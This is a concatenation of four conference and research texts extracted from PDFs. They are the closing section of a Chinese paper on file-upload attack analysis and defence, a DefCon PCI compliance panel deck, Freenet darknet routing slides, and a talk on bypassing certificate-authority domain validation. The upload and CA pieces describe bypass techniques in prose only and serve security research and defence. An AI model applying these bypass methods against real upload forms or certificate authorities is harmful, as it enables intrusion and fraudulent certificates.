文件加载绕过 (代码层漏洞) 上传攻击流程如下图 代码层上传漏洞如下图 (红色字体标记部分) 攻击要点: 要绕过轻量级检测 要绕过文件内容检测 A. 要绕过代码层对路径/扩展名检测 (直接解析) B. 找到代码层的解析调用 (间接解析) 应用层上传漏洞如下图 (红色字体标记部分) 攻击要点: 要绕过轻量级检测 要绕过文件内容检测 A. 找到应用层的解析漏洞 (间接解析) 攻击手法与环节的对应如下图 [*] 这是整个上传攻击框架的核心之一 要注意下,在这里如果在路径/扩展名检测处检测未通过,流程到解析攻击时 白名单检测绕过技术里并不完全能利用所有解析攻击方式 在路径/扩展名检测绕过攻击里已经给出了具体细节 Fckeditor 2.4.x php 版的分析实例 上传攻击分析框架 [*] 这是整个上传攻击框架的核心之二 大家可以像上面分析 fckeditor 的方式,在分析一份源码或一个目标环境时 先把上面的上传攻击分析框架列表放好 然后去依次对比 哪些检测环节存在/不存在 哪些环节是安全/还是有漏洞 哪些环节如果被利用是代码层漏洞/还是 Web 应用程序解析漏洞 对应在该项后面进行填写 最后把 Vule 的部分选出来,再来分析如何进行组合,以及利用它们需要什么样的条件 通过这个分析框架进行白盒/黑盒分析并罗列出所有情况 攻击者便能更系统地分析出源码/目标环境可能存在的漏洞 整个上传攻击的核心最后被分析和总结成了上面两张重要的图 攻击手法与环节图 和 检测框架图 这两张图就是这篇 paper 最有价值的总结了 上传攻击的防御如下图 图中红点便是防御的重要环节 需要注意的: 1. 轻量级检测必然能绕过 2. 检测的重点放在文件内容检测 可以用检测脚本语言特征码的机制 3. 路径/扩展名检测一定要用白名单 并且注意路径的 0x00 截断攻击 (把 php 更新至最新版本即可,已经修补了这个漏洞了) 4. 不能有本地文件包含漏洞 5. 随时注意更新 web 应用软件 避免被解析漏洞攻击 ---- 结语 目前市面上所见过的文章或看过的书都没怎么看到过对上传攻击比较好的总结,见得最多的 是对 sql injection 的总结,毕竟 sql injection 属于直接解析/执行的情况,效果来得最直接。 但是这条路会越来越难走,总结其他攻击手段将会变得更加重要和有价值,像上传攻击总结, 爆绝对路径的总结等等,一些平时大家当小技巧对待的东西,以后会成为主要攻击手段之一。 PS: 写这篇 paper 也写各种累死了,光是搭建各种环境就花了非常多时间,当然还是像文章 开头自己所说的,希望分享能带来交流的价值,那么我的分享就是有意义的,毕竟大牛级别 的一般不怎么分享他们比较高水平的技术,我也比较菜,没那么顾虑,就把这些小东西拿来 分享下,给这个大环境注入点新鲜血液。
pdf
PCI 2.0: Still Compromising Controls and Compromising Security PCI? At DefCon? Again? Use the hashtag #DefconPCI to rant on the Twitterz during this talk. We damn sure will! Use @defconPCIpanel for comments or Twitter-heckling Who are we? • Dave Shackleford @daveshackleford • Joshua Corman @joshcorman • James Arlen @myrcurial • Jack Daniel @jack_daniel • Alex Hutton @alexhutton • Martin McKeay @mckeay Usual disclaimers • We do not speak for our employers, clients or customers. Nor for our spouses, siblings, or offspring. But my dog will back me up. • Our opinions are our own, the facts are as we see them. • We aren’t lawyers…etc. • These QSAs are not your QSAs. Déjà vu all over again Déjà vu all over again Last year… • PCI 2.0 was new. • PCI 2.0 was “fresh”. • PCI 2.0 was just as frustrating as PCI 1.x. • PCI 2.0 was still lacking in concrete guidance on a LOT of things: – Mobile devices – Virtualization • So…where the hell are we now? The Good Becoming Compliant is not easy So what? Does Compliance affect “secure” at all? We don’t know how to measure “secure” so the best we can look at is the frequency & characteristics of incidents, and compare those to PCI. How difficult and targeted were the attacks? The Bad The Bad Sometimes people cheat The Ugly Is History Doomed to Repeat Itself? • We are doing the same %&$# as a decade ago. • Firewalls. • SSL. • Patches (maybe). • Crypto (sort of). • Can a WAF save us all!? – Ahem. The Ugly The Solution(s)?
pdf
Routing in The Dark Scalable Searches in Dark P2P Networks Ian Clarke and Oskar Sandberg The Freenet Project Ian Clarke & Oskar Sandberg - 2005 – p.1/33 Introduction • We have long been interested in decentralised “Peer to Peer” networks. Especially Freenet. Ian Clarke & Oskar Sandberg - 2005 – p.2/33 Introduction • We have long been interested in decentralised “Peer to Peer” networks. Especially Freenet. • But when individual users come under attack, decentralisation is not enough. Ian Clarke & Oskar Sandberg - 2005 – p.2/33 Introduction • We have long been interested in decentralised “Peer to Peer” networks. Especially Freenet. • But when individual users come under attack, decentralisation is not enough. • Future networks may need to limit connections to trusted friends. Ian Clarke & Oskar Sandberg - 2005 – p.2/33 Introduction • We have long been interested in decentralised “Peer to Peer” networks. Especially Freenet. • But when individual users come under attack, decentralisation is not enough. • Future networks may need to limit connections to trusted friends. • The big question is: Can such networks be useful? Ian Clarke & Oskar Sandberg - 2005 – p.2/33 Overview of “Peer to Peer” net- works • Information is spread across many inter- connected computers Ian Clarke & Oskar Sandberg - 2005 – p.3/33 Overview of “Peer to Peer” net- works • Information is spread across many inter- connected computers • Users want to find information Ian Clarke & Oskar Sandberg - 2005 – p.3/33 Overview of “Peer to Peer” net- works • Information is spread across many inter- connected computers • Users want to find information • Some are centralised (eg. Napster), some are semi- centralised (eg. Kazaa), others are distributed (eg. Freenet) Ian Clarke & Oskar Sandberg - 2005 – p.3/33 The Small World Phenomenon • In "Small world" networks short paths exist between any two peers Ian Clarke & Oskar Sandberg - 2005 – p.4/33 The Small World Phenomenon • In "Small world" networks short paths exist between any two peers • People tend to form this type of network (as shown by Milgram experiment) Ian Clarke & Oskar Sandberg - 2005 – p.4/33 The Small World Phenomenon • In "Small world" networks short paths exist between any two peers • People tend to form this type of network (as shown by Milgram experiment) • Short paths may exist but they may not be easy to find Ian Clarke & Oskar Sandberg - 2005 – p.4/33 Navigable Small World Net- works • Concept of similarity or “closeness” between peers Ian Clarke & Oskar Sandberg - 2005 – p.5/33 Navigable Small World Net- works • Concept of similarity or “closeness” between peers • Similar peers are more likely to be connected than dissimilar peers Ian Clarke & Oskar Sandberg - 2005 – p.5/33 Navigable Small World Net- works • Concept of similarity or “closeness” between peers • Similar peers are more likely to be connected than dissimilar peers • You can get from any one peer to any other simply by routing to the closest peer at each step Ian Clarke & Oskar Sandberg - 2005 – p.5/33 Navigable Small World Net- works • Concept of similarity or “closeness” between peers • Similar peers are more likely to be connected than dissimilar peers • You can get from any one peer to any other simply by routing to the closest peer at each step • This is called “Greedy Routing” Ian Clarke & Oskar Sandberg - 2005 – p.5/33 Navigable Small World Net- works • Concept of similarity or “closeness” between peers • Similar peers are more likely to be connected than dissimilar peers • You can get from any one peer to any other simply by routing to the closest peer at each step • This is called “Greedy Routing” • Freenet and “Distributed Hash Tables” rely on this principal to find data in a scalable decentralised manner Ian Clarke & Oskar Sandberg - 2005 – p.5/33 Light P2P Networks • Examples: Gnutella, Freenet, Distributed Hash Tables Ian Clarke & Oskar Sandberg - 2005 – p.6/33 Light P2P Networks • Examples: Gnutella, Freenet, Distributed Hash Tables • Advantage: Globally scalable with the right routing algorithm Ian Clarke & Oskar Sandberg - 2005 – p.6/33 Light P2P Networks • Examples: Gnutella, Freenet, Distributed Hash Tables • Advantage: Globally scalable with the right routing algorithm • Disadvantage: Vulnerable to “harvesting”, ie. people you don’t know can easily discover whether you are part of the network Ian Clarke & Oskar Sandberg - 2005 – p.6/33 Dark or “Friend to Friend” P2P Networks • Peers only communicate directly with “trusted” peers Ian Clarke & Oskar Sandberg - 2005 – p.7/33 Dark or “Friend to Friend” P2P Networks • Peers only communicate directly with “trusted” peers • Examples: Waste Ian Clarke & Oskar Sandberg - 2005 – p.7/33 Dark or “Friend to Friend” P2P Networks • Peers only communicate directly with “trusted” peers • Examples: Waste • Advantage: Only your trusted friends know you are part of the network Ian Clarke & Oskar Sandberg - 2005 – p.7/33 Application How can we apply small world theory to routing in a Dark peer to peer network? Ian Clarke & Oskar Sandberg - 2005 – p.8/33 Application How can we apply small world theory to routing in a Dark peer to peer network? • A Darknet is, essentially, a social network of peoples trusted relationships. Ian Clarke & Oskar Sandberg - 2005 – p.8/33 Application How can we apply small world theory to routing in a Dark peer to peer network? • A Darknet is, essentially, a social network of peoples trusted relationships. • If people can route in a social network, then it should be possible for computers. Ian Clarke & Oskar Sandberg - 2005 – p.8/33 Application How can we apply small world theory to routing in a Dark peer to peer network? • A Darknet is, essentially, a social network of peoples trusted relationships. • If people can route in a social network, then it should be possible for computers. • Jon Kleinberg explained in 2000 how small world networks can be navigable. Ian Clarke & Oskar Sandberg - 2005 – p.8/33 Kleinberg’s Result • The possibility of routing efficiently depends on the proportion of connections that have different lengths with respect to the “position” of the nodes. Ian Clarke & Oskar Sandberg - 2005 – p.9/33 Kleinberg’s Result • The possibility of routing efficiently depends on the proportion of connections that have different lengths with respect to the “position” of the nodes. • If the positions are in a ring, the proportion of connections with a certain length should be inverse to the length: Ian Clarke & Oskar Sandberg - 2005 – p.9/33 Kleinberg’s Result • The possibility of routing efficiently depends on the proportion of connections that have different lengths with respect to the “position” of the nodes. • If the positions are in a ring, the proportion of connections with a certain length should be inverse to the length: • In this case a simple greedy routing algorithm performs in O(log2 n) steps. Ian Clarke & Oskar Sandberg - 2005 – p.9/33 Kleinbergs Result, cont. Ian Clarke & Oskar Sandberg - 2005 – p.10/33 Kleinbergs Result, cont. Ian Clarke & Oskar Sandberg - 2005 – p.10/33 Kleinbergs Result, cont. But in a social network, how do we see if one person is closer to the destination than another? Ian Clarke & Oskar Sandberg - 2005 – p.10/33 Application, cont. Is Alice closer to Harry than Bob? Ian Clarke & Oskar Sandberg - 2005 – p.11/33 Application, cont. Is Alice closer to Harry than Bob? • In real life, people presumably use a large number of factors to decide this. Where do they live? What are their jobs? What are their interests? Ian Clarke & Oskar Sandberg - 2005 – p.11/33 Application, cont. Is Alice closer to Harry than Bob? • In real life, people presumably use a large number of factors to decide this. Where do they live? What are their jobs? What are their interests? • One cannot, in practice, expect a computer to route based on such things. Ian Clarke & Oskar Sandberg - 2005 – p.11/33 Application, cont. Is Alice closer to Harry than Bob? • In real life, people presumably use a large number of factors to decide this. Where do they live? What are their jobs? What are their interests? • One cannot, in practice, expect a computer to route based on such things. • Instead, we let the network tell us! Ian Clarke & Oskar Sandberg - 2005 – p.11/33 Application, cont. • Kleinberg’s model suggests: there should be few long connections, and many short ones. Ian Clarke & Oskar Sandberg - 2005 – p.12/33 Application, cont. • Kleinberg’s model suggests: there should be few long connections, and many short ones. • We can assign numerical identities placing nodes in a circle, and do it in such a way that this is fulfilled. Ian Clarke & Oskar Sandberg - 2005 – p.12/33 Application, cont. • Kleinberg’s model suggests: there should be few long connections, and many short ones. • We can assign numerical identities placing nodes in a circle, and do it in such a way that this is fulfilled. • Then greedy route with respect to these numerical identities. Ian Clarke & Oskar Sandberg - 2005 – p.12/33 The Method • When nodes join the network, they choose a position on the circle randomly. Ian Clarke & Oskar Sandberg - 2005 – p.13/33 The Method • When nodes join the network, they choose a position on the circle randomly. • They then switch positions with other nodes, so as to minimize the product of the edge distances. Ian Clarke & Oskar Sandberg - 2005 – p.13/33 The Method, cont. An advantageous switch of position: Ian Clarke & Oskar Sandberg - 2005 – p.14/33 The Method, cont. An advantageous switch of position: Ian Clarke & Oskar Sandberg - 2005 – p.14/33 The Method, cont. Some notes: Ian Clarke & Oskar Sandberg - 2005 – p.15/33 The Method, cont. Some notes: • Switching is essential! Ian Clarke & Oskar Sandberg - 2005 – p.15/33 The Method, cont. Some notes: • Switching is essential! • Because this is an ongoing process as the network grows (and shrinks) it will be difficult to keep permanent positions. Ian Clarke & Oskar Sandberg - 2005 – p.15/33 The Algorithm • Two nodes are chosen in some random fashion, and attempt to switch. Ian Clarke & Oskar Sandberg - 2005 – p.16/33 The Algorithm • Two nodes are chosen in some random fashion, and attempt to switch. • They calculate ℓb as the product of all the lengths of their current connections. Then they calculate ℓa as the product of what all their respective connection lengths would be after they switched. Ian Clarke & Oskar Sandberg - 2005 – p.16/33 The Algorithm • Two nodes are chosen in some random fashion, and attempt to switch. • They calculate ℓb as the product of all the lengths of their current connections. Then they calculate ℓa as the product of what all their respective connection lengths would be after they switched. • If ℓb > ℓa they switch. Otherwise they switch with probability ℓb/ℓa. Ian Clarke & Oskar Sandberg - 2005 – p.16/33 The Algorithm, cont. Let d(z) give the degree (number of connections) of a node z, and let ei(z) and e′ i(z) be distance of z’s i- th connection before and after a switch occurs. Let nodes x and y be the ones attempting to switch. Calculate: p = ℓ(a) ℓ(b) = d(x) i=1 ei(x) d(y) i=1 ei(y) d(x) i=1 e′ i(x) d(y) i=1 e′ i(y) x and y will complete the switch with probability min(1, p). Otherwise we leave the network as it is. Ian Clarke & Oskar Sandberg - 2005 – p.17/33 The Algorithm, cont. • This is an application of the Metropolis- Hastings algorithm. Ian Clarke & Oskar Sandberg - 2005 – p.18/33 The Algorithm, cont. • This is an application of the Metropolis- Hastings algorithm. • Because there is a greater chance of moving to positions with shorter connection distances, it will tend to minimize the product of the distances. Ian Clarke & Oskar Sandberg - 2005 – p.18/33 The Algorithm, cont. • This is an application of the Metropolis- Hastings algorithm. • Because there is a greater chance of moving to positions with shorter connection distances, it will tend to minimize the product of the distances. • Because the probability of making a switch is never zero, it cannot get stuck in a bad configuration (a local minima). Ian Clarke & Oskar Sandberg - 2005 – p.18/33 The Algorithm, cont. • How do nodes choose each other to attempt to switch? Ian Clarke & Oskar Sandberg - 2005 – p.19/33 The Algorithm, cont. • How do nodes choose each other to attempt to switch? • Any method will work in theory, but some will work better than others. Only switching with neighbors does not seem to work in practice. Ian Clarke & Oskar Sandberg - 2005 – p.19/33 The Algorithm, cont. • How do nodes choose each other to attempt to switch? • Any method will work in theory, but some will work better than others. Only switching with neighbors does not seem to work in practice. • Our current method is to do a short random walk starting at one of the nodes and terminating at the other. Ian Clarke & Oskar Sandberg - 2005 – p.19/33 Simulations We have simulated networks in three different modes: Ian Clarke & Oskar Sandberg - 2005 – p.20/33 Simulations We have simulated networks in three different modes: • Random walk search: “random”. Ian Clarke & Oskar Sandberg - 2005 – p.20/33 Simulations We have simulated networks in three different modes: • Random walk search: “random”. • Greedy routing in Kleinberg’s model with identities as when it was constructed: “good”. Ian Clarke & Oskar Sandberg - 2005 – p.20/33 Simulations We have simulated networks in three different modes: • Random walk search: “random”. • Greedy routing in Kleinberg’s model with identities as when it was constructed: “good”. • Greedy routing in Kleinberg’s model with identities assigned according to our algorithm (2000 iterations per node): “restored”. Ian Clarke & Oskar Sandberg - 2005 – p.20/33 Simulations, cont. The proportion of queries that succeeded within (log2 n)2 steps, where n is the network size: Ian Clarke & Oskar Sandberg - 2005 – p.21/33 Simulations, cont. The proportion of queries that succeeded within (log2 n)2 steps, where n is the network size: 0 0.1 0.2 0.3 0.4 0.5 0.6 0.7 0.8 0.9 1 1000 10000 100000 Succ Network Size random good restored Ian Clarke & Oskar Sandberg - 2005 – p.21/33 Simulations, cont. The average length of the successful routes: Ian Clarke & Oskar Sandberg - 2005 – p.22/33 Simulations, cont. The average length of the successful routes: 0 20 40 60 80 100 120 140 160 180 1000 10000 100000 Steps Network Size random good restored Ian Clarke & Oskar Sandberg - 2005 – p.22/33 Results • Simulated networks are only so interesting, what about the real world? Ian Clarke & Oskar Sandberg - 2005 – p.23/33 Results • Simulated networks are only so interesting, what about the real world? • We borrowed some data from orkut.com. 2196 people were spidered, starting with Ian. Ian Clarke & Oskar Sandberg - 2005 – p.23/33 Results, cont. • The set was spidered so as to be comparatively dense (average 36.7 connections per person). Ian Clarke & Oskar Sandberg - 2005 – p.24/33 Results, cont. • The set was spidered so as to be comparatively dense (average 36.7 connections per person). • It contains mostly American techies and programmers. Some are probably in this room. (No Brazilians...) Ian Clarke & Oskar Sandberg - 2005 – p.24/33 Results, cont. • The set was spidered so as to be comparatively dense (average 36.7 connections per person). • It contains mostly American techies and programmers. Some are probably in this room. (No Brazilians...) • The degree distri- bution is approxi- mately Power-Law: 0 200 400 600 800 1000 1200 0 50 100 150 200 250 300 Degree Frequency Ian Clarke & Oskar Sandberg - 2005 – p.24/33 Results, cont. Searching the Orkut dataset, for a maximum of log2(n)2 steps. Success Rate Mean Steps Random Search Our Algorithm Ian Clarke & Oskar Sandberg - 2005 – p.25/33 Results, cont. Searching the Orkut dataset, for a maximum of log2(n)2 steps. Success Rate Mean Steps Random Search 0.72 43.85 Our Algorithm Ian Clarke & Oskar Sandberg - 2005 – p.25/33 Results, cont. Searching the Orkut dataset, for a maximum of log2(n)2 steps. Success Rate Mean Steps Random Search 0.72 43.85 Our Algorithm 0.97 7.714 Ian Clarke & Oskar Sandberg - 2005 – p.25/33 Results Clipping degree at 40 connections. (24.2 connections per person.) Success Rate Mean Steps Random Search Our Algorithm Ian Clarke & Oskar Sandberg - 2005 – p.26/33 Results Clipping degree at 40 connections. (24.2 connections per person.) Success Rate Mean Steps Random Search 0.51 50.93 Our Algorithm Ian Clarke & Oskar Sandberg - 2005 – p.26/33 Results Clipping degree at 40 connections. (24.2 connections per person.) Success Rate Mean Steps Random Search 0.51 50.93 Our Algorithm 0.98 10.90 Ian Clarke & Oskar Sandberg - 2005 – p.26/33 Results Clipping degree at 40 connections. (24.2 connections per person.) Success Rate Mean Steps Random Search 0.51 50.93 Our Algorithm 0.98 10.90 Our algorithm takes advantage of there being people who have many connections, but it does not depend on them. Ian Clarke & Oskar Sandberg - 2005 – p.26/33 Practical Concerns • So the theory works, but how does one implement such a network in practice? Ian Clarke & Oskar Sandberg - 2005 – p.27/33 Practical Concerns • So the theory works, but how does one implement such a network in practice? • Key concerns: Ian Clarke & Oskar Sandberg - 2005 – p.27/33 Practical Concerns • So the theory works, but how does one implement such a network in practice? • Key concerns: • Preventing malicious behaviour Ian Clarke & Oskar Sandberg - 2005 – p.27/33 Practical Concerns • So the theory works, but how does one implement such a network in practice? • Key concerns: • Preventing malicious behaviour • Ensuring ease of use Ian Clarke & Oskar Sandberg - 2005 – p.27/33 Practical Concerns • So the theory works, but how does one implement such a network in practice? • Key concerns: • Preventing malicious behaviour • Ensuring ease of use • Storing data Ian Clarke & Oskar Sandberg - 2005 – p.27/33 Preventing Malicious Behaviour Threats: • Selection of identity to attract certain data Ian Clarke & Oskar Sandberg - 2005 – p.28/33 Preventing Malicious Behaviour Threats: • Selection of identity to attract certain data • Manipulation of other node’s identities Ian Clarke & Oskar Sandberg - 2005 – p.28/33 Ensuring ease of use • Peers will need to be “always on” Ian Clarke & Oskar Sandberg - 2005 – p.29/33 Ensuring ease of use • Peers will need to be “always on” • Peer introduction Ian Clarke & Oskar Sandberg - 2005 – p.29/33 Ensuring ease of use • Peers will need to be “always on” • Peer introduction • Email Ian Clarke & Oskar Sandberg - 2005 – p.29/33 Ensuring ease of use • Peers will need to be “always on” • Peer introduction • Email • Phone Ian Clarke & Oskar Sandberg - 2005 – p.29/33 Ensuring ease of use • Peers will need to be “always on” • Peer introduction • Email • Phone • Trusted third party Ian Clarke & Oskar Sandberg - 2005 – p.29/33 Ensuring ease of use • Peers will need to be “always on” • Peer introduction • Email • Phone • Trusted third party • What about NATs and firewalls Ian Clarke & Oskar Sandberg - 2005 – p.29/33 Ensuring ease of use • Peers will need to be “always on” • Peer introduction • Email • Phone • Trusted third party • What about NATs and firewalls • Could use UDP hole- punching (as used by Dijjer, Skype) Ian Clarke & Oskar Sandberg - 2005 – p.29/33 Ensuring ease of use • Peers will need to be “always on” • Peer introduction • Email • Phone • Trusted third party • What about NATs and firewalls • Could use UDP hole- punching (as used by Dijjer, Skype) • Would require third- party for negotiation Ian Clarke & Oskar Sandberg - 2005 – p.29/33 Storing Data • We can store data as in a caching Distributed Hash Table (similar to Freenet) Ian Clarke & Oskar Sandberg - 2005 – p.30/33 Storing Data • We can store data as in a caching Distributed Hash Table (similar to Freenet) • We can also route directly between two peers if we know their identities Ian Clarke & Oskar Sandberg - 2005 – p.30/33 Storing Data • We can store data as in a caching Distributed Hash Table (similar to Freenet) • We can also route directly between two peers if we know their identities • Problem: Identities change Ian Clarke & Oskar Sandberg - 2005 – p.30/33 Storing Data • We can store data as in a caching Distributed Hash Table (similar to Freenet) • We can also route directly between two peers if we know their identities • Problem: Identities change • We could employ a "crossing paths" approach Ian Clarke & Oskar Sandberg - 2005 – p.30/33 Storing Data • We can store data as in a caching Distributed Hash Table (similar to Freenet) • We can also route directly between two peers if we know their identities • Problem: Identities change • We could employ a "crossing paths" approach • Both peers route towards the same random identity Ian Clarke & Oskar Sandberg - 2005 – p.30/33 Storing Data • We can store data as in a caching Distributed Hash Table (similar to Freenet) • We can also route directly between two peers if we know their identities • Problem: Identities change • We could employ a "crossing paths" approach • Both peers route towards the same random identity • When paths cross a connection is established Ian Clarke & Oskar Sandberg - 2005 – p.30/33 Conclusion We believe very strongly that building a navigable, scalable Darknet is possible. And we intend to do it! Ian Clarke & Oskar Sandberg - 2005 – p.31/33 Conclusion We believe very strongly that building a navigable, scalable Darknet is possible. And we intend to do it! • There is still much work to do on the theory. Ian Clarke & Oskar Sandberg - 2005 – p.31/33 Conclusion We believe very strongly that building a navigable, scalable Darknet is possible. And we intend to do it! • There is still much work to do on the theory. • Can other models work better? Ian Clarke & Oskar Sandberg - 2005 – p.31/33 Conclusion We believe very strongly that building a navigable, scalable Darknet is possible. And we intend to do it! • There is still much work to do on the theory. • Can other models work better? • Can we find better selection functions for switching? Ian Clarke & Oskar Sandberg - 2005 – p.31/33 Conclusion We believe very strongly that building a navigable, scalable Darknet is possible. And we intend to do it! • There is still much work to do on the theory. • Can other models work better? • Can we find better selection functions for switching? • It needs to be tested on more data. Ian Clarke & Oskar Sandberg - 2005 – p.31/33 Conclusion, cont. • We have learned the hard way that practice is more difficult than theory. Ian Clarke & Oskar Sandberg - 2005 – p.32/33 Conclusion, cont. • We have learned the hard way that practice is more difficult than theory. • Security issues are very important. Ian Clarke & Oskar Sandberg - 2005 – p.32/33 Conclusion, cont. • We have learned the hard way that practice is more difficult than theory. • Security issues are very important. • How the network is deployed will affect how well it works. Ian Clarke & Oskar Sandberg - 2005 – p.32/33 Conclusion, cont. • We have learned the hard way that practice is more difficult than theory. • Security issues are very important. • How the network is deployed will affect how well it works. People who are interested can join the discussion at http://freenetproject.org/. Ian Clarke & Oskar Sandberg - 2005 – p.32/33 Long Live the Darknet! Ian Clarke & Oskar Sandberg - 2005 – p.33/33
pdf
Criminal charges are not pursued: Hacking PKI Mike Zusman Principal Consultant mike.zusman@intrepidusgroup.com About the Title  From StartCom Critical Event Report  https://blog.startcom.org/?p=161  Thanks to StartCom for quickly fixing the bug I found  These guys care about PKI! Intrepidus Group, Inc. © 2008 2 Outline  Intro – The Basics  CA Domain Validation Mechanisms  Certificate Provisioning Process  Web Application Attacks  Client Side Countermeasures  CA Countermeasures  Closing Intrepidus Group, Inc. © 2008 3 Intro – SSL vs SSL PKI  SSL is a sound encryption protocol  …implementation specific bugs, aside  Debian PRNG  Microsoft SSL PCT Overflow (2004)  SSL PKI gives us third party trust  Site validation  Code signing  Personal certificates Intrepidus Group, Inc. © 2008 4 Intro – Threat Modeling SSL PKI Intrepidus Group, Inc. © 2008 5 Intro – Threat Modeling SSL PKI Intrepidus Group, Inc. © 2008 6 Intro – Why hack PKI?  To exploit third-party trust  Maybe you own the DNS  Steal data with minimal residue  Targeted Attacks  SSL VPN  If software vendors do their job, endpoints will be harder to attack  It’s fun!  Intrepidus Group, Inc. © 2008 7 Intro – PKI’s Low Hanging Fruit  Certification Authority Web Sites  You pay money for private key access  Private key access is controlled by web application logic  Web Applications are hard to secure  Oh, the irony!  The companies that sell security are not secure themselves  How can you secure the Internet, over the Internet? Intrepidus Group, Inc. © 2008 8 Intro – Soft Targets  Where there is smoke, there is usually fire  Introducing, a slide-show of insecurity . . . Intrepidus Group, Inc. © 2008 9 Intro - Soft Targets Intrepidus Group, Inc. © 2008 10 * Note the green bar. It is definitely COMODO who is vulnerable to cross site scripting! Certificate Authority Attacks Intrepidus Group, Inc. © 2008 11 Intro - Soft Targets Intrepidus Group, Inc. © 2008 12 Intro - Soft Targets Intrepidus Group, Inc. © 2008 13 Intro - Soft Targets Intrepidus Group, Inc. © 2008 14 Intro - Soft Targets Intrepidus Group, Inc. © 2008 15 Intro - Soft Targets Intrepidus Group, Inc. © 2008 16 Intro - Soft Targets Intrepidus Group, Inc. © 2008 17 * Note the green bar. It is definitely THAWTE who is vulnerable to cross site scripting! Intro - Soft Targets Intrepidus Group, Inc. © 2008 18 Intro - Soft Targets Intrepidus Group, Inc. © 2008 19 Domain Validation Intrepidus Group, Inc. © 2008 20 Domain Validation  CAs need to make sure you are authorized to request certification  A few different techniques  Phone Authentication  Email Authentication  Both rely on secret codes  Attacker requests a certificate  CA sends secret to authorized contact  Only those who know the secret can authorize the request Intrepidus Group, Inc. © 2008 21 Domain Validation  How does a CA determine who is an authorized contact?  Out of band (but still on the Internet)  Email address and/or phone number from Domain Registration Records  Certificate Requestor can pick from a list of approved aliases  Webmaster, ssladmin, sslwebmaster, etc. Intrepidus Group, Inc. © 2008 22 Domain Validation  Choosing the Authorized Contact  Attack #1  Take advantage of insecure protocols to alter domain registration data on the wire  Controls relying on insecure protocols should not be considered out of band  Attack #2  Take advantage of poor application logic  Controls cannot rely on user-supplied data Intrepidus Group, Inc. © 2008 23 Domain Validation  Delivery of the shared secret  Over the phone  ?  Over email  More reliance on insecure protocols  Who determines what aliases are authorized to approve SSL certification?  Multiple Opportunities for Attack  Sniff email on the wire  Break into an email account  Free email providers Intrepidus Group, Inc. © 2008 24 Certificate Provisioning Process Intrepidus Group, Inc. © 2008 25 Certificate Provisioning Process  CAs want to make money  Automation lowers overhead and makes purchasing certificates easier for customers  “Race to the Bottom”  The easier it is to get a cert, the less we can trust them (Hello EV!)  Automation makes life easier on attackers Intrepidus Group, Inc. © 2008 26 Certificate Provisioning Process  Case Study: Chosen Pre-Fix Collisions  Attack against a CA yields a rogue Certificate Authority  Two weaknesses  Use of MD5  Researchers could control serial number and time stamp  Web Site automation provided a reliable mechanism for generating predictable SSL certificates Intrepidus Group, Inc. © 2008 27 Certificate Provisioning Process  Case Study: Chosen Pre-Fix Collisions  These would have helped  A strong CAPTCHA  Introduce a human element to the process  A random time delay  Prevent the requestor from controlling the time the certificate is issued. Intrepidus Group, Inc. © 2008 28 Certificate Provisioning Process  Case Study: No Validation  Comodo COMPLETELY disabled validation  This happened for one reseller (that we know of)  People who ordered certificates had them immediately issued  Result: a rogue certificate was issued for mozilla.org  Automation makes it easier to make $$$  It also makes it easy screw things up Intrepidus Group, Inc. © 2008 29 Certificate Provisioning Process  The Black List  CAs will use a black list to protect sensitive domains  I know, for a fact, that Verisign.com is on some black lists   Issues  Who is on the black list?  How do you get on the black list?  Good for PayPal.com  Bad for vpn.governmentcontractor.com Intrepidus Group, Inc. © 2008 30 Real CA Attacks Intrepidus Group, Inc. © 2008 31 Certificate Authority Attacks  Insecure Direct Object Reference  Used to by-pass StartCom Domain Validation  Most CAs that offer domain validation do so via email  http://www.owasp.org/index.php/Top_1 0_2007-A4 Intrepidus Group, Inc. © 2008 32 Certificate Authority Attacks Intrepidus Group, Inc. © 2008 33 Certificate Authority Attacks Intrepidus Group, Inc. © 2008 34 Certificate Authority Attacks Intrepidus Group, Inc. © 2008 35 Certificate Authority Attacks Intrepidus Group, Inc. © 2008 36 Certificate Authority Attacks Intrepidus Group, Inc. © 2008 37 Certificate Authority Attacks Intrepidus Group, Inc. © 2008 38 Certificate Authority Attacks  StartCom Post-Mortem  By-passed validation and received signed certificates for low-profile sites  By-passed validation for high-profile sites PayPal and Verisign  Certificates were not issued for PayPal & Verisign due to a BLACKLIST Intrepidus Group, Inc. © 2008 39 Certificate Authority Attacks (2)  Information Leakage  Used to by-pass domain validation with THAWTE Certificate Authority  Appeared to be a common theme on the THAWTE web site  http://www.owasp.org/index.php/Top_1 0_2007-A6 Intrepidus Group, Inc. © 2008 40 Certificate Authority Attacks (2) Intrepidus Group, Inc. © 2008 41 Certificate Authority Attacks (2) Intrepidus Group, Inc. © 2008 42 Certificate Authority Attacks (2) Intrepidus Group, Inc. © 2008 43 Certificate Authority Attacks (2) Intrepidus Group, Inc. © 2008 44 Certificate Authority Attacks (2) Intrepidus Group, Inc. © 2008 45  Thawte Post-Mortem  Information Leakage  Staff  Web Site  Email  Live.com was added to their blacklist  Certificate was revoked  But I still promise not to use it for malicious activities SSL PKI Relies on Insecure Protocols Intrepidus Group, Inc. © 2008 46 Certificate Authority Attacks (3)  Demonstration Intrepidus Group, Inc. © 2008 47 Post CA Exploitation Intrepidus Group, Inc. © 2008 48 Using a DV certificate to spoof EV Intrepidus Group, Inc. © 2008 49  EV SSL & SSL Rebinding  Mixed Content policies do not distinguish DV SSL from EV SSL  SSL Rebinding attacks allow for EV MITM with only a valid DV certificate  Browsers cannot handle CA’s “tiers of trust”  How do we fix this going forward? Client Side Countermeasures  White Listing Pubic Keys  Perspectives Plug-in  Not perfect  Client side proxies to handle white listing is a better option Intrepidus Group, Inc. © 2008 50 Recommendations for CAs  Check out OWASP  Their materials are free  Make a donation  Web App Sec 101  Inventory your web apps  Get them assessed (not SCANNED)  Penetration Test  Source Code Review Intrepidus Group, Inc. © 2008 51 Thank you Intrepidus Group, Inc. © 2008 52  Questions?  Mike.zusman@intrepidusgroup.com  More SSL Proxy code and documentation on my blog.  http://schmoil.blogspot.com
pdf
